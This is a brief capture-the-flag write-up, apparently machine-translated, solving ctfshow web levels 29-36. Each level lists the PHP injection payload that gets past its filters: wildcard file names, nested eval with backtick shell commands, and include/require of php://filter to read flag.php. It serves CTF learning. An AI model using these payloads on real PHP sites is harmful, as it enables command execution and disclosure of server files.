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Ctfshow web entry command execution
2022-07-05 14:58:00 【Cwxh0125】
web29
View directory
because flag Filtered , Wildcards can be used to bypass , see flag.php
c=system("nl fla?????");
web30
More on the basis of the previous question system and php
Use backquotes to view the table of contents And look at flag.php(flag php Filtered Using wildcards )
web31
Add a little more 、 Single quotes and spaces are filtered . We can go through shell in eval Command to nest and replace variables
c=eval($_GET[1]);&1=echo `nl flag.php `;
web32
Filtered parentheses and semicolons
%0a A newline
include Functions do not use parentheses Semicolons can be used ?> Instead of
c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
web 33
One more double quotation mark is filtered , use require function
c=require$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
web 34 35
Similar to the above Just filter more symbols
c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
web36
By comparison, it increases Filter numbers
take include Parameters of 1 Change to letters ,include The bracketed inclusion of can be done without spaces
payload:?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
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